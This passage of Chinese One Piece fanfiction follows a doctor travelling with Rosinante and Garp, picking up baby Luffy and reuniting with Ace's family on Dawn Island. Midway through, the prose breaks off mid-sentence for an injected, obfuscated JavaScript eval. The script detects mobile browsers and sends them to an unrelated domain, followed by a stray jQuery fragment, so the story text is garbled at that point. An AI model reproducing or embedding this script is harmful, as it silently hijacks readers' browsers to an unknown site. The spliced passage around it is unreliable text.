茵弗惊讶地瞧着这个软咩咩:“诶?您当着我的面跟我说要去我们黑曼巴当间谍?” 罗西南迪坦然:“反正你也知道了,那就相当于多弗也知道了,我会去看着哥哥的,你们的组织很怪,医生,我上报给元帅他也会这么觉得的。” 茵弗噗嗤一声笑了出来:“您也是个坏家伙嘛。” 软咩咩耸肩:“我是多弗的弟弟啊。” 在柔软的大床上打了个滚,茵弗决定在马林福德也买几个被子回去,太适合堆窝了。 “也行,谁让您拿捏着我波比号的秘密呢?” 罗西南迪带着轻松的心情也在他身边躺下。 “嗯...如果是你遇到那时候的多弗,你会怎么办?” 茵弗:“狠狠地弹他脑瓜?失礼的小鬼才不惯着。然后把您俩带回家喂点牛奶什么的?谁知道您们能长这么高啊。” 罗西南迪侧过身看着这个比海军的白还要洁白的人。意料之外,意料之中的回答。 他露出一个微笑,刘海下隐约看到的半只眼睛如醇厚的酒。 “这样啊。” 他们没有睡觉,只是窝在被子里聊天,一直到天亮。 54.罪与启蒙 那天意外的深谈之后,有时候茵弗如果在训练场呆得比较晚,就会看到一个软乎乎的大高个手里拎着打包好的饭对着这边探头探脑。 所以他养成了在高墙上吃饭的习惯,不过罗西南迪笨手笨脚的,会突然掉下去,一般在笑和下去拉他之间,他会选择笑。 “喏,我正好还剩半份,您的打翻了就算了吧。” “谢了,以后就不要坐到上面来了吧。” “海军总部没有鸽子呢。” “又在转移话题,医生。” 茵弗玛利耸耸肩,扭了扭酸痛的肩膀。 “您和战国先生谈得怎么样?他上次找我聊完反正我觉得差不多。” “他同意了,所以最近间谍训练才这么紧。不过我没想到你会直接找他说...” “我中立的态度这种时候就很好用,只是往里面塞个人而已,狠狠在您养父身上捞了一把哦?” 罗西南迪笑笑,收拾吃好的饭盒。他不太清楚有时候茵弗说的话到底是认真的还是玩笑。''狠狠捞一把''是要了几千万贝利,还是要他准许他狠狠地和羊咩亲昵半小时之类的。 无所谓了,他就是这样自由的,就让战国先生头疼吧? 茵弗玛利站了起来,抱着胳膊迎风微微抬头,就像在接受世界的吻。罗西南迪下意识伸手想要扶在他身后,免得他掉下去,结果反而身子一歪就要再次滚落。 然后他也站起来了,被拉起来了。 他大概也就明白为什么对方喜欢在高墙上吃饭了。白色威严的马林福德泡在夕阳里,天边已经有几颗星星晕开一点蓝色——能看见一点海。 “好美。” “是吧?” 茵弗的目光扫过海港,看不太清,不过按照时间来说,波比快回来了。 “战国先生大概也跟您说了什么没跟我说的东西吧,比如顺便监视调查我这类的?” 这倒是。 罗西南迪挠挠头。 茵弗没在意,只是示意他们从墙上下去,“我希望您能把目光集中于我,忽视我身边的家人。” 罗西南迪也跃下墙壁:“知更鸟他们吗?我知道。” 茵弗摇摇头:“不止...总之我希望您不会伤害他们。” 罗西南迪:“我有我的正义。” 茵弗:“它和您养父的一样吗?” “不,我不是战国先生。” 他也不是他的父亲,也不是他的母亲,他不是多弗。天龙人,海军,他是罗西南迪。 “真帅气啊,堂吉诃德·罗西南迪。” 罗西南迪不好意思地挠挠脸,这好像是第一次茵弗玛利没叫他先生什么的...还是全名,好像是有点帅气。 “您想要个昵称吗?羊咩咩先生怎么样?” “哇、这不是一点都不帅了吗?跟羊咩撞了啊。” “那我再想想看吧。” 波比回来的时间他计算的没错,第二天他就回到他的大蜗牛上了。泰格带着一些人手和海军一起在往港口搬货箱。 数量比他预估的要多?而且好多他没见过的货物。 “泰格先生,这些是哪里来的?我们不会花钱买东西卖给海军吧?虽然我是说装满波比...灰中出问题了吗?” 泰格任由他爬到自己肩上,掰着指头皱眉数着。 “茵弗医生,这些确实都是灰中的产品。” “嗯?橘子果酱、稻米、可可粉、糖浆,还有...看起来质量很好但是好像黎明岛没有这样的产出?” 泰格一边示意几个鱼人兄弟搬着东西,一边回复道:“露玖夫人和史黛拉他们一起和东海别的岛合作了,总之这些都是灰中的产业。” 诶?全家最有商业头脑的王出现了?? “哦、哦...东海的农业原来这么有潜力啊...” “露玖夫人说拜托你去海军那里多宣传一下,就让我多带了些。” “哦,好的...” 茵弗从震惊中回神,拉着他的背鳍歪头。 “鱼人同胞们也去东海了?” 说到这个泰格满脸都是喜悦,坐在他肩上茵弗都能感觉得到那种欣喜。 “我去了之后本来是把阿龙叫来帮忙管理的,他比较有经验,毕竟等你回去之后露玖夫人就要离开。但是她说可以多带一些想要到陆地上来的同胞,那里是最稳定的海,对他们来说安全,也能慢慢改善人类对我们的看法...” “是呢...我根本没想到这一点...” 听着泰格的诉说,茵弗甚至能想象到露玖脸上的表情,温柔的,包容的,坚定的。他好想念他们啊。 茵弗叹了口气,带着笑容拥抱泰格的大脑袋像摸猫一样有一下没一下地摸着他的鳞片。 “他们过得很好,也很想你。” “读心术?” “哈哈哈本来是要我带信来的,不过雷利说反正你快回去了,不带信来反而能让你快一点。” 茵弗从他身上跳下来,准备去找卡普。 “他可真狡猾,我确实明天就想走了。” “不行。” “我学的差不多了!原理明白了,会好好练的!” 卡普挖着鼻孔,脚翘在办公桌上。 “想走也行,你把老夫带着,然后绕个路。” “...干嘛?” “去我家臭小子那接老夫的孙子。” “???” 龙...几年不见...我还以为你在专心革命,原来是事业爱情双丰收吗? 茵弗揉揉鼻梁:“他确实不好养他...您打算把那孩子带在身边吗?” 卡普:“就放风车村吧!” 茵弗:“...行吧,您的家事。我会带您走,您去申报个休假就好了。” 卡普哇哈哈哈地笑,说还没坐过杰尔玛的蜗牛呢。 “波比是我的,先生。” “差不多啦。” 哪里差不多啊? 离开前,他被叫住了,卡普一改玩笑的语气问道:“泽法,你怎么觉得?” 茵弗转身给他比了个弯曲柳枝的动作。 “您们不是想建立什么SWORD吗?让他去试试?不用上前线,但是领队什么的?堵不如疏。” “啧,罗西南迪那小子怎么什么都告诉你,战国让他和你搞好关系不是为了从你那套信息的吗?” 茵弗脚步一顿:“...谁知道。” 堂吉诃德·罗西南迪... - ...的穿衣风格原来这么花哨吗? 茵弗对着波比客房里的大衣柜陷入了沉思。 花衬衫,花牛仔裤,颜色鲜艳,时尚。 平时都是看他穿海军制服,顶多见过一次他的条纹睡衣... 他回头对上那个粉斑点衬衫配浅色牛仔裤的高个子金毛。好看诶... 再回头看花里胡哨的衣柜...好夸张... 再回头...好看诶... 再回头......好夸张... 哐地一声把门关上,他点点头准备离开房间,既然都布置得差不多就没他什么事了。 “额...你不喜欢我的衣服吗医生?” “没,挺好看的,请把它当成一个因为肤色原因不会选颜色的人的愤怒。您哥哥也喜欢粉色。” 罗西南迪挠挠头,感觉自从他来通知他们要走了茵弗玛利就有点...紧绷? “如果你想的话,我可以推荐?” “好,有机会一定。” 要不问问卡普先生? 好吧,茵弗知道他不应该怀疑罗西南迪,但是他是海军训练了好几年的间谍,茵弗不知道他们都教他什么。 他在多弗朗明哥身边看见过类似的周旋。''那些友好只是在让你放下戒心'',粉红的火烈鸟如此指点道。 就算他目前保密了罗宾他们的事情,但是也许是有库赞的影响在,或许他在等一个时机。 万一呢?万一有那么千万分之一的可能性,他会伤害到艾斯他们呢。会议室那天,包括参观那天,罗西南迪和他不能说抗拒,但是确实他能看出来对方并不想主动往他身边凑。他们的交集的确是战国塞过来的,医务室那天他没必要等他醒来。 他一开始就很喜欢罗西南迪,柔软温和的金发总是让他下意识地亲切信任。所以已经展示了太多,暴露了太多,答应了把他带到身边。 他已经在脑海里将他们的相处倒退了一千遍。有时候真的很厌烦自己记忆力很好这件事,他就不用一帧一帧地暂停那些深夜的谈话,夕阳下的晚餐,和库赞一起三人分享的巴菲。分析着,审视着,试图在其中找到虚假的漏洞。 库赞也不在,第一个和他一起怀揣秘密的家伙出任务去了,两个人甚至没能道别,也不能给他一些建议。 那天高墙下的帅气也是烟花般的谎言吗? 他看了看手上的牙印,几乎看不清了。 茵弗叹了口气,嘴里的糖块从左边移到右边。 他们已经离开马林福德有一阵子,罗西南迪大概也发现他有点不对劲,总是小心地说一些试探的话,搞得自己越来越内疚。 “医生?” 想到谁谁就出现吗这是... 香克斯...巴基...拜托...... 茵弗回头,对着踏入图书室的青年微笑。今天是黄色卫衣和深色牛仔裤,也好看的。 “怎么了?要看书吗?还是需要我做什么?” 罗西南迪端着两杯饮料进来,一杯放在他面前,在他身旁的沙发上坐下。自己本来就是很喜欢文字的人,刚看到布置得这么温馨的图书室的时候真的蛮开心的。所以虽然书可以拿回房间读,他也算是这里的常客。 “泰格拜托我顺便送饮料来。” “好,谢谢您们。” 茵弗喝了一口,椰香里稍微带点酒精的味道,没关系,他需要放松。 罗西南迪:“你一般看书会喝饮料吗?” 茵弗点点头,目光移回自己的书上:“嗯。” 罗西南迪微不可察地叹了口气,也取过之前自己留在这边的书开始看,不过有点读不下去。 他倒是问了卡普,不过对方只是说''那小子没睡好吧'',看来也是不知道。 气氛不尴尬。有时候他们三人出去的时候也不说话,就是可以享受安静,那很好。现在大概也好,只是他宁愿他们在聊天。 他翻过一页书又翻回来,努力思考着之前二人的相处中是否发生了什么。 好像只能让对方出现这种反应的就是有关''希望他不要伤害到他的家人''的话题吧。可是当时好像,至少他以为他们达成共识了? 他不知道他们绕路是要做什么,明明茵弗玛利之前说他要回东海接家人的。他没告诉自己原因,也对,他本来就是间谍。 愚蠢的,想要和目标对象做朋友的,间谍。 现在说自己想要羊咩咩的昵称还来得及吗? - “很久不见了,龙先生,纹身很帅。” “啊,茵弗医生,我联系父亲没想到是你们一起来。” “顺路。” 茵弗看着卡普在一旁稀罕自己手里小小的宝宝,露出一点微笑。 “卡普先生说要把他——小路飞先生是吧?放在风车村。” 龙点点头:“我身边太危险了,现在革命军仍然不够强大,我也不想影响到他未来的人生。” 茵弗:“我理解的。您这次没带着大船来,但这是一些新的急救医疗器械,还有一些快速补充维生素的冲剂。时间不巧,大部分物资我刚卖给海军。不过您可以拿走一部分收益。” 龙感谢地拍拍他的肩膀。他第一次给的那笔钱不用说,对于刚起步的时期来说真的是雪中送炭,又派来□□这样的强者加入。他的建议也很好,虽然革命军现在的发展比他预想的要慢一些,但是综合来看是很扎实的基础。 茵弗:“您不必客气,□□先生怎么样?” 龙:“很好,放松了很多。” 茵弗:“那就好。” 一阵稚嫩的笑声传来,夹杂着卡普的大笑。茵弗看了下时间,便匆匆与龙道别,他们的会面不能过长,得划着小船回去了。 茵弗抱着怀里几个月大的小团子,略过正在随便和罗西南迪解释的卡普,走到厨房找了个大篮子准备这段时间先给小路飞做个小床。 毕竟算年龄最小的艾斯都四岁了,用不到婴儿床,他也就没准备。 这孩子真爱笑。 乌黑的大眼睛眨巴眨巴的看着他,也不知道看出点啥就咯咯地笑。小时候的龙也这么可爱吗?怎么现在那——么严肃。 茵弗放下去掉提手的篮子,正在里面铺上厚厚的毯子垫子的时候,门被敲响了。 “请进。” 罗西南迪从他们出去一趟回来就抱回来卡普的孙子一事表示震惊,回过神才发现茵弗玛利抱着小宝宝早就不见了。 卡普也只是摆摆手说随他去,反正不会出事。他到儿童房没找到人,推开茵弗卧室的门就看到对方身边一堆垫子薄毯,正举着一个红色的跟腿上窝着的小婴儿说话。 “这个好看吗小路飞先生?红色喜欢吗?笑是喜欢的意思?好的!” 他把红色的铺到面前的大篮子里,又举起一个粉色的。 “带花边的呢?吐泡泡是不喜欢?不要这么大男子主义!好的我也放进去了。” 金发青年笑了笑,小心地走进来,他可不想摔倒吓到小孩子。 茵弗玛利看向他,脸上还带着温柔的笑意。 明明才一阵子,罗西南迪已经开始怀念这样的笑了。 “什么事,罗西南迪先生。” 哦,消失了。变成茵弗玛利的笑了。 罗西南迪摇摇头,看向那个对他来说太小的孩子,轻轻伸出一根指头放到他面前,胖乎乎的小手伸了两下。 “我来看看卡普先生的孙子,叫路飞是吗。” “嗯,是个爱笑的孩子。” 确实,路飞又开始笑了,就好像认识新的人是让他多么快乐的一件事一样。 茵弗抱起他,在他肉肉的脸上亲了一口,闻到宝宝身上的奶香。 世界上最可爱的笑声传到耳朵里,他突然紧紧把脸贴在小路飞软软的脑袋上,对着罗西南迪做了个丑丑的表情。 “呜呜呜我想偷走他,听他的笑声我心情都会变好。” 罗西南迪,新晋海军中校,代号小米果的正义之人听到他这么说后开始盘算怎么从自己养父的好友手里偷走他的孙子。 “也许...我们可以等卡普先生离开后带他走?” 茵弗无语:“您是大盗的学生还是我是啊,这种时候就要多种战略结合。” 于是茵弗抱着小路飞去找了卡普,直接提出他要带走他有着世界上最美好的的笑声的孙子。 卡普爷爷挖挖鼻孔:“哦,行啊,反正你要养老夫的另一个孙子,记得把他培养成强大的海兵啊。” 茵弗点头“您一百个放心,小路飞先生跟着我成为海军的几率很高的,嗯...36%” 卡普:“那不行!再高一点!” 茵弗:“55%。” 在卡普再次开口前,他打了个响指示意罗西南迪递上厨房新炸的甜甜圈一盘,然后倒退出了房间。 “搞定。” 罗西南迪:“你这也不算偷吧。” “到手了就行,走咯小路飞先生~给您冲奶喝~” 罗西南迪:“卡普先生还有一个孙子吗?你说的家人?” “啊,是的,卡普先生占罗、...不,没什么。” 小路飞不明白大人们之间的别扭,在罗西南迪有点无奈地看向他时,咧出带着宝宝牙龈的微笑。 罗西南迪对着他竖起两根手指,也做了一个傻傻的笑容。 让他心情变好吧,小路飞,我想他了。 - 艾斯今天起得很早,很乖地主动洗漱,然后穿上自己精挑细选的,最干净的衣服——一件写着''优秀''二字的背心和七分裤。 踮起脚从台子上拿起梳子跑出房间,妈妈和史黛拉姐姐已经在做早饭了,基拉和新来的罗宾姐姐站在板凳上在打鸡蛋。 “早上好,艾斯,基德起来了吗?” “早上好妈妈,他在洗漱。” 基拉发发发地笑:“居然主动洗漱吗你们两个?很期待?” 艾斯有点脸红,爬上自己的椅子把梳子递给妈妈。 “当然了!今天小姨不是终于回来了吗?” 露玖温柔地笑笑,在毛巾上擦了一把手绕到椅子后面给儿子梳头发。 往常不在意这些东西的艾斯昨天特意跑过来问她明天早上能不能帮他把头发梳好看一点,好像是什么''玛姬的礼仪''。 “艾斯还记得小姨吗?他离开时你们都还小呢。” 艾斯下意识想摇头,但是反应过来后不敢乱动。头发炸炸的基德也跑出来,他倒是不怎么在意自己穿什么,还套着昨天在丛林里跑完有点脏的裤子。 “艾斯才不记得了呢!” “你也不记得!!” “我当然记得!奇迹医生!金色头发!” “做剪贴报的东西我当然也能背下来!” 基拉帮史黛拉把煎好的香肠和培根放到桌子上,拍开基德伸过来的手。 “用叉子啦,基德。” 露玖放下梳子,在有点紧张的儿子脸上亲了亲。 “好啦,很帅气哦。” 基德:“不是跟昨天一样吗?” 艾斯:“我换了衣服,梳了头发,你都没有。” 基德:“切,不就是梳头吗?喂!基拉,帮我梳一个最帅的发型让小姨第一眼看见!” 艾斯:“喂!!” 艾斯真的很紧张。他确实不太记得茵弗玛利了,但是记忆里模糊地,有人对他笑,自己会喊他小姨,对方就把他抱起来,味道特殊的怀抱。 基德也差不多。 不过家里的大人包括基拉每次在对方上报纸的时候都会给他们讲。那张脑海里不清晰的脸也就有了对象。基拉会说好好吃饭,用手上的和天上的月牙去思念对方。 艾斯有好好吃饭,和基德比赛。这样小姨有知道他们在想着他吗? 长大了之后他也慢慢明白茵弗玛利是个很厉害的人,整个世界上最厉害的医生之一。隔壁的达旦姨姨他们也带着他看不懂的表情说他让他们变好了,他是灰色中点站的建立者什么的。 他和基德基拉也经常去灰色中点站,他不知道那里之前是什么样子的。田边的大叔回答说很多垃圾。艾斯没法想象山一样高的垃圾堆会有多臭。 今天小姨回来,他和基德基拉说好了要一起去打猎,打一只大大的鳄鱼给他吃。但是他还是有点担心,他希望厉害的小姨能喜欢他。 他摸了摸自己的头发,妈妈说他的头发来自爸爸,所以总会有点翘翘的和弯弯的地方,不能像玛姬那样梳得很正,也没有妈妈和史黛拉姐姐那么软。 “妈妈,小姨会喜欢我吗?” 露玖摸了摸儿子的头:“他不止会喜欢你,你还没出生他就在爱着你了,艾斯。” “为什么?” “因为你存在啊。” “就这样?” “就这样。” 不知道茵弗玛利具体到的时间,他们就都去风车村等,等到远远的有一只大蜗牛出现的时候,艾斯紧紧攥住妈妈的手,基德在旁边大呼小叫。 本来以为还要等一阵的,结果之前离开的泰格大叔突然游回来了,肩上扛着一个微笑的人。 “啊呀,小茵弗,怎么游过来了?” “好久不见,扶桑花,我等不及了嘛。” 他该做什么,玛姬怎么说的来着?''你好,小姨,我是艾斯。''不对,先鞠躬? 心脏噗通噗通地跳,他还没开口,就和基拉基德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957334|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起被拥入一个,味道特殊的怀抱。 “我回来啦。” 基德:“哦!” 基拉:“欢迎回来,茵弗哥,我们有想你。” 艾斯动动鼻子,眼前的金色碎发和红色十字一起在阳光下亮晶晶的。他忘了打招呼,也忘了说欢迎回来,他问: “小姨,你身上是什么味道?” “药的味道?海的味道?你觉得呢,艾斯?” 艾斯觉得很好。 - 三个小男孩兴致勃勃地去打猎了,还不让他跟着。虽然茵弗有点担心,毕竟科尔波山的动物有多大他很熟悉,不过露玖说没有关系。 那就听妈妈的咯。 玛琪诺很喜欢泰格,见他回来便邀请他在派对酒吧做客,卡普带着孙子找村长炫耀,所以茵弗只带着罗西南迪回了山上的小屋。和他走之前变化大了不少,不过也是,就是会变化才好。 茵弗抱起罗宾,几个月不见亲昵地在脸上贴贴。 “怎么样,小知更鸟?还好吗?” 罗宾搂着他的脖子点头:“嗯,弟弟们很好,露玖妈妈和史黛拉姐姐对我也好。” 露玖给罗西南迪递上茶,笑着说:“小罗宾教艾斯他们学习呢,她说以前你也拜托她当老师。” 茵弗:“哇!他们学得如何?” 罗宾:“嗯...基拉还好...” 识字倒是识字的啦,就是基德没什么兴趣,艾斯一看书就睡着,仰着头吹鼻涕泡泡,基拉就一副很习惯的样子,还知道在他倒下前头也不回地托一把。 “看字就睡着真的是和他爸爸一模一样...”茵弗嘀咕着,“没关系,谢谢您教他们,也许我们是读书型,他们是体会型的那种?” 他将罗宾放在椅子上,也在桌边坐下。罗宾看向罗西南迪,在对方招手时问道:“海军为什么来?” 她当然知道艾斯的身份,雷利在带她来的时候就有告诉她,露玖也没有隐瞒。作为世界上年龄最小的通缉犯她当然知道这其中的危险。罗西南迪那天和库赞是一起拜访波比的,穿着海军的制服。现在虽然换了衣服,但不代表他就不是海军了。 茵弗最近正在为这件事头疼呢,也不知道该怎么回答。虽然想早早地把他送到多弗朗明哥那边,但是肯定一时半会儿的过不去。这还是第一次他信任一个人信任到一半突然害怕对方背叛,他自己也不知道该怎么处理。 罗西南迪看他沉默也了然,开口替他答道:“我顺路去黑曼巴做''海军的''卧底。” 这是他们说好的。 茵弗看了看他,僵硬的嘴角放松了一些,又瞬间皱起眉头,转向史黛拉。这不是唯一一件让他头疼的事。 “星星,有关你的泰佐洛...” 他当然记得帮史黛拉寻找泰佐洛的踪迹,但是线索不多,很快就断了,而且并不好。 他买下史黛拉那天那个人贩子说那几天要有天龙人去买奴隶是真的。而辛苦作工几年,马上就要攒够钱赎下史黛拉的泰佐洛又在此时得知对方已经被他人买走,在人贩店崩溃了,惹恼了天龙人。 “那之后就没人知道了,我猜测他要么被天龙人抓走当奴隶,要么在挣扎中死了,我很抱歉。但是我愿意相信他有逃走的可能性,无论多么微小。” 史黛拉捂着嘴流泪,罗宾抱着她的腰,露玖站在椅子旁拢她的头,轻轻顺着她美丽的金发。 茵弗叹了口气,小声地说,“您不用忍着,可以大声地哭。”,在变大的抽泣声里,他抬眼,对上对面同样金发的青年深红的悲伤眼眸。 茵弗玛利先移开了视线。 虽然因为这个令人难过的消息毁了今天重逢的气氛,不过打猎回来的孩子们都很理解。 他们在屋外给大鳄鱼剥皮,商量着怎么能让史黛拉姐姐开心起来。 茵弗和罗西南迪蹲在一旁给他们打下手,不过也就是“拎一下这个”“拿一下那个”这样的。 两个四岁和一个八岁的小孩真的是不知道比他小时候强多少。 “要不去城里或者风车村给她买一些点心?” “可是妈妈要做鳄鱼饭,史黛拉姐姐也喜欢的吧,会没肚子吃的。” “麻烦死啦!去摘花吧!摘花!” 好怀念啊,鳄鱼饭。 “露玖做饭的时候你们去摘花,然后晚上我们带她去城里吃点心怎么样?” “啊...好、好的。” “哦哦!可以嘛!” “谢谢茵弗哥。” 基拉和他熟悉,基德就是很随便的性子,明明听露玖说艾斯也是个活泼开朗的孩子,怎么感觉反而跟他有点拘束。 茵弗嗅嗅袖子,试图在血腥味里分辨自己身上的味道,说实话他因为习惯了闻不太出来,但是大家都说就是他工作室,也就是药的味道。艾斯也问他来着,是不喜欢吗? 糟糕了,自己预想了一百个和艾斯的相处模式,没有预想过如果艾斯不喜欢他怎么办。就像他预想了一百个和罗西南迪相处的方式,没有预想过如果罗西南迪不喜欢他怎么办。 他将手里粗大的鳄鱼尾巴递给罗西南迪,脚步匆匆地走向屋内。史黛拉在自己的房间休息,露玖在处理一些文件,见他进来有些意外。 “处理好了吗?一般孩子们还要一会儿呢。” 茵弗摇摇头,走到她身边跪坐下,拉起她的手,就像是在巴苔里拉做过无数次的那样。 “您...有跟艾斯说他的身世吗?” 露玖点头:“他知道一点,但是不多,我只是在他问的时候告诉他他父亲是个海贼,现在已经不在了。” “所以他知道...我没能救他父亲吗?我感觉他可能不太喜欢我?我不知道...” 露玖熟练地用手指挠着他的头顶,噗嗤地笑了。 “你在想什么呢,小茵弗?艾斯本来还担心''厉害的小姨''不喜欢他呢,他就是特地跟玛琪诺学得礼仪全忘了不太好意思。” 茵弗松了口气:“这样吗?他还会紧张这种事情?听您描述我还以为他更像他爸爸一点。” “他的确很像他。”露玖将他拉了起来,“不过就算他以后都知道了,你也不需要担心他会因此责怪你,小茵弗,没有人会责怪你,最后是罗杰自己的选择。” 茵弗在她身边坐下,揉了一把脸。 “抱歉...我最近有点太敏感了。” 露玖:“是因为那个海军孩子吗?” 与此同时,门外的海军从倚靠在门上的姿势站直,无声地重新走回孩子们身边蹲下,叫基拉的孩子已经在切肉了,基德和艾斯在一旁数着要分多少给隔壁的达旦姨姨。 他撤下在自己身上施加的能力,从烟盒里拿出一根烟点燃,在灰白的烟气中盯着那个脸上带着雀斑的小孩。 他了解过巴苔里拉的事情,毕竟也算茵弗和海军的第一次合作,对方帮助海军排查了海贼王没有血脉留存,交换的报酬之一是参观马林福德,二人才相识。 没有留存吗?茵弗玛利的家人啊... ''他没有正义''。 库赞也是留存下了什么呢,那只小知更鸟。原来如此,所以现在那只小鸟才在这位医生身边。 如果战国先生知道,如果政府知道,这个会紧张自己家人不喜欢自己,特意梳头发的孩子会死,而茵弗玛利会失去他的家。 可是没关系,就算是于他有恩的养父也不是他的正义,高墙下的承诺是真实,罗西南迪会遵循自己。 孩子们惊讶地大喊他肩上起火了,他在地上翻滚把火灭掉后,视线里的天空挤入一道身影。 背对日光,看不清脸上的神色,只有比他还浅的金发虚虚地被镶了一层金边。华丽的耳饰和朴实的项链向他垂下。 罗西南迪选择将目光集中在他的身上,忽视了他努力守护的家人。 不恐怖。 “请不要在孩子们附近吸烟,先生。” “好的,医生,我不会伤害你的家人。” 这也是他们说好的。 茵弗玛利抽出他嘴里烟的手顿了一下,语气变得冰冷。 “您听到了?” 有什么恐怖的呢? “别害怕我,茵弗玛利。” 身上的人啧了一声,仍握着吸了一半的烟的手转而拽着他的领子将他拉坐起。火星的余温在他的锁骨边烫了一下后掉在腿上。 “您想要什么,罗西南迪?” “我什么也不想要。” 茵弗的手不轻不重地扼着他的脖子。几个孩子在他身后担心地看着,被露玖拦着不让过来,能听到他们小声交谈的声音。 不要变成曾经的【巴/雷特】。 他盯着面前的人,努力在他脸上寻找冷静下面埋藏着的东西。他和多弗朗明哥就像同一枚硬币的两面。什么都不要? “您不必欺骗我。”他松开了手中的人,示意自己手背上浅浅的牙印,“这是您哥哥留下的。” 那天多弗朗明哥几乎想要咬断他筋骨的感觉似乎又开始让他隐隐作痛。 “他跪在我的面前,想要做不被抛弃的小狗。” 罗西南迪惊讶地僵住了。 多弗? 他的视线缓缓描摹过那个牙印,喉结耸动了一下。他不恐惧。 于是茵弗笑了,真正地笑了。原来如此,艾斯不是不喜欢他,罗西南迪也不是。 他慢慢地将手放在他的大手上,看着红酒般的眼睛随着他的动作移动。 “您也想咬一口,对不对?” 他带着罗西南迪的手一起到对方面前,唇边,像循循善诱的伊甸蛇,引导干净纯粹的人类咬下带来罪与启蒙的果。 “我同意成为您的朋友,以此交换...” 吃痛的抽气声替代了接下来的话。 交谈声消失了,风也静止了,沙沙晃动的绿叶不再摇摆,整个世界都屏住呼吸。 罗西南迪口中,鼻腔中充斥着铁锈味的腥甜,他回过神,睁大了眼。 55.东海的重逢 手上缠着纱布的人在灶台边慢悠悠地做饭。 孩子们去采野花了,还带着罗宾,说是要让最聪明的博士姐姐看看哪种花最厉害。 花哪有最厉害的啊,扶桑花,鸢尾花,还有那朵在屋里流眼泪,等待盛开的玫瑰,她们都很厉害啊。 露玖没对他俩在屋外的事情发表什么意见,只是拜托他处理孩子们分好的鳄鱼肉,然后拉着罗西南迪不知道去屋里说什么。 大概是坦白吧。 你看,他就说扶桑花很厉害吧。 鳄鱼肉很细腻,质地紧实,脂肪少,营养含量很高。灰中的产品中也有鳄鱼制品。肉,肝脏,骨,脂肪,血液,在科尔波山的那一年茵弗可是把一只鳄鱼能挖出来的好处都挖得透透的。 不过艾斯他们也不知道,纯粹是他们喜欢吃而已。鳄鱼饭已经不是他一开始教露玖做的鳄鱼饭了,煎,烤,煮汤,只要是鳄鱼他们就叫鳄鱼饭。 手下的肉块被熟练地分割成合适的大小,茵弗玩着手感很好的肉块放空大脑。不知道是不是医生的一些怪毛病,还是只是他的怪毛病,遇到肉类他总是喜欢捏一捏,尤其是红肉,搞得萨奇现在也学起来了。 罗西南迪的事情,大概就这样了,他不想继续再担心他会是报丧的乌鸦了。本来就是没由来的火,就让它在短暂燃烧后熄灭吧。抛开一切,他确实不讨厌罗西南迪。 而且,他相信露玖的人格魅力。 “别玩了,小茵弗,又要沾一手的味道了。” “嗯?哦,好。” 茵弗回神,露玖已经和金发大个子出来了,看不出来什么变化。 “刚刚在想什么?” “就发呆。” 他洗了手,在露玖的坚持下没有继续帮忙,坐到桌边拿了个苹果掰成两半,然后同时放在桌上。 罗西南迪目光扫过他手上的纱布,不好意思地红了脸,清咳一声。 “咳、抱歉,医生。” 茵弗没看他,只是盯着那两半苹果,还鼓励地向他的方向推了推。 “嗯,没事,您哥哥咬的也差不多。” 罗西南迪脸更红了,拿起一半苹果吃。看到茵弗满意地点点头。 “渡鸦先生。” “?” “渡鸦先生怎么样?比羊咩咩帅气吧?” “哦,哦!是的呢。为什么是渡鸦?” “因为我决定您不是乌鸦。” 罗西南迪挠挠头,苹果的清脆和甜香他挺喜欢的,科尔波山的另一个宝藏吧。他不在意茵弗跳脱的思维,比起之前的那种谨慎疏远的彬彬有礼,他还是更喜欢这种一点。 “我还是第一次来黎明岛呢。” “哦,我也很久没回来,变化好大。” 露玖笑笑:“要去城里逛逛吗?现在那边还算热闹。” 茵弗:“嗯...雷利先生什么时候回来?” 露玖:“再过一阵吧,他去橘子镇,也没有很远。” 茵弗:“那就不等他了,我和孩子们说晚上带史黛拉去吃点心的。” 罗西南迪叹了口气,史黛拉的悲伤让他难过,他怎么说也是前天龙人,如果那位泰佐洛真的被带到圣地去了...比死掉还糟糕的吧。 另一半苹果也被推过来了,他拿起来咬着。 城里的确热闹,熙熙攘攘的人群,商贩吆喝着,每隔几天这里就会办夜市。史黛拉眼睛红红的,头上戴着孩子们采的野花编的花环,拉着基拉走着。 茵弗头上也有花环,肩上坐着基德,抱着很不好意思的艾斯。身旁的罗西南迪肩头也坐着罗宾,虽然看起来他比罗宾还要紧张。 雷利回来前赶走卡普...把小路飞介绍给他们...去可可西亚村见阿龙一面...然后...嗯...要不要走之前再在哥亚捞一笔呢? 茵弗对着高镇的那堵高墙咂嘴,基德以为他是馋街边的零食,把手上拿着的丸子串塞到他嘴里。 “唔!唔靴靴泥。” 基德看他吃了一个就把剩下的拿回去了,护食的臭小子。 逛了一会儿小孩儿们就坐不住了,嘻嘻哈哈地跑,过一会儿回来一趟,给他递零食,递玩具,递街边摊卖的小首饰,再从茵弗手里拿走新一份的零花钱。 史黛拉心情好多了,她是个坚强的女孩子,发泄情绪后在孩子们的温暖下很快就振作起来,带着罗宾去看卖旧书的摊子,两个人嘀嘀咕咕的不知道在说什么。 罗西南迪口袋里塞满乱七八糟的东西,左手捧着章鱼烧,右手拿着红豆包。孩子们拿回来后茵弗玛利又不怎么吃,现在来两人手里满满的。他看见茵弗又在对着远处的高墙咂嘴。 “怎么?” “您想跟着我去捞钱吗?” “?” 送史黛拉他们回去后,罗西南迪看着茵弗玛利将冰箱里剩下的鳄鱼肉拿出来包好,从孩子们的玩具里随便翻出来一个金色的丝带缠了一下。 “走咯~” 罗西南迪懵懵地再次被带到城里,只不过这次他们越过那堵高墙,到了更加冷冰冰的,华美的贵族区。 茵弗玛利好像踏入这里的一刻就换了个气质,下巴微微扬起,手里随便包装好的鳄鱼肉好像变成了什么神秘的宝物一样。头上的花环好像也不是野花编成的,而是什么森林精灵的馈赠。 罗西南迪也不自觉站直身体,听到身旁的人小小地笑了一声,说“别摔倒咯,演出开始了。” 